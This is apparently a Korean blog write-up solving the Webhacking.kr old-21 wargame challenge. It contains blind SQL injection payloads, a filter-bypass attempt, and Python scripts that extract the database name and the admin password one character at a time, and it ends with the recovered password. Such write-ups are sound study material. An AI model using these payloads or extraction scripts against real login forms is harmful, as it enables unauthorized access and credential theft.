Webhacking.kr

[Webhacking.kr] old-21 풀이

minnggyuu 2024. 7. 27. 01:57

old-21이다.

 

대놓고 BLIND SQL INJECTION이라고 알려준다.

 

id=1&pw=1

id와 pw에 각각 1을 넣어보았다. Result가 login fail로 나왔다. 

 

get으로 id와 pw값을 포함해 요청하고 있다.

 

id = guest

pw = guest 를 넣어보니 login sucess가 출력됐다.

id=guest&pw=guest

 

admin으로 로그인하면 되는건가?

id=admin&pw=' or 1#을 보내봤다.

id=admin&pw=' or 1#

wrong password가 출력됐다.

 

select -> no hack

union을 이용해 select문을 만들어 넣어보았는데 no hack이 출력된다. 필터링되는 문자도 있는 듯 하다.

 

1. login fail

2. login success

3. wrong password

4. no hack

 

이렇게 4가지로 출력이 구분되어 있는 것 같은데

 

login fail과 wrong password의 차이를 모르겠다

있는 계정임에도 불구하고 login fail이 나온다.

guest/asdf 이 fail을 반환하니 쿼리 뒤에 추가적인 구문이 있고, 구문을 만족하지 않으면 fail을 반환하는것 같은데,

조건을 알 수 없으므로 #으로 주석처리를 하도록 하자.

 

 

아마 php 코드가

$db = dbconnect();

$id=$_GET['id']

$pw=$_GET['pw']

$result=mysqli_query($db,"select COLUMN from users where uid=($id) and upw=($pw)")

 

이런 식으로 되어있는 듯 하다


' or 1# -> wrong
' or 0# -> fail 이니 TRUE일때 wrong을 반환하는 것 같다. 

 

이제 ' or [구문]# 을 id 부분에 삽입해 알고 싶은 구문의 참거짓 정보를 알 수 있게 됐다.

 

1. 테이블 정보

2. 컬럼 정보

3. admin의 pw 정보(예상)

순서대로 찾아보자

 

union 구문을 사용해 찾아보려고 했는데 select가 필터링되는데?

url에서 get으로 id값을 받아가므로 id?='  union sel%09ect 1%23&pw=1 으로 TAB을 끼워넣어보자

 

-> login fail이 출력된다.

%20 %00을 사용해봐도 안된다

왜 안될까

 

select를 사용할 수 없을 것 같아서 일단 select 없이도 구할 수 있는 DB명을 알아내봤다. 

for i in range(1,30):
    lenparam = f"?id=' or if(length(database())={i},1,0)%23&pw=1"
    r = requests.get(url+lenparam)

    if 'wrong password' in r.text:
        print(i)
        break
# DB_length -> 10

dbname = ''
for i in range(1,10+1):
    for j in range(33,127+1):
        param = f"?id=' or if(ascii(substr(database(),{i},1))={j},1,0)%23&pw=1"
        r = requests.get(url + param)
        print(f"data : {dbname}")
        
        if 'wrong password' in r.text:
            dbname += chr(j)

DB명은 webhacking이었다.

 

다음은 테이블명을 구해야 하는데 select를 우회할 방법을 못찾겠다.

 

그래서 컬럼명을 그냥 때려맞혀보기로 했다.

pw를 구해야 하니 컬럼명도 pw이지 않을까?

 

for i in range(1,50):
    param = f"?id=' or if(length(pw)={i},1,0)%23&pw=1"
    r = requests.get(url + param)
    
    if 'wrong password' in r.text:
        print(f"{i}")
        # break

컬럼명이 pw인 데이터의 길이를 구해봤다. 다행히도 컬럼명이 pw가 맞는 듯 하다

 

5가 나왔는데 guest 인 것 같아서 break를 뺐다.

5와 36에서 'wrong password'가 출력이 됐다. 길이가 36인 데이터가 admin의 pw인 듯하다.

 

pwdata = ''

for i in range(1,36+1):
    for j in range(33,127+1):
        param = f"?id=' or if(ascii(substr(pw,{i},1))={j},1,0)%23&pw=1"
        r = requests.get(url + param)
        print(f"pwdata : {pwdata}")
        
        if 'wrong password' in r.text:
            pwdata += chr(j)

 

36자리의 pw를 구하는 코드이다. 

-> gthuerset_is_no_rest_for_the_white_angel 가 나왔다.

 

이상한데? 

잘 보니 GthUErSeT_is_no_rest_for_the_white_angel 

guest가 끼어있다. 단순히 pw의 값을 반환시켜서 guest와 admin의 pw 둘 다 포함된 듯 하다.

(E는 공통 부분이라 중복안된듯)

pwdata = ''

for i in range(1,36+1):
    for j in range(33,127+1):
        param = f"?id=admin' and if(ascii(substr(pw,{i},1))={j},1,0)%23&pw=1"
        r = requests.get(url + param)
        print(f"pwdata : {pwdata}")
        
        if 'wrong password' in r.text:
            pwdata += chr(j)
            break

 

admin' and 로 수정해서 id가 admin일 경우로 제한하고 뒤의 if문까지 만족해야 1이 반환되도록 수정했다.

n번째 문자를 찾았을 경우 바로 다음 문자를 검색할 수 있게 break도 추가했다.

 

-> there_is_no_rest_for_the_white_angel

을 admin과 함께 넣어주면

 

근데 만약 컬럼명이 pw가 아니었다면 어떻게 했어야 할까

컬럼명을 브루트포싱해서 찾았어야 하나 

if 'guest' in [임의의 컬럼값] 이런식으로 짜야되나?

 

모르겠당

'Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-20 풀이  (0) 2024.07.15
[Webhacking.kr] old-02 풀이  (0) 2024.07.14
[Webhacking.kr] old-54 풀이  (0) 2024.07.12
[Webhacking.kr] old-38 풀이  (0) 2024.07.12
[Webhacking.kr] old-16 풀이  (0) 2024.07.11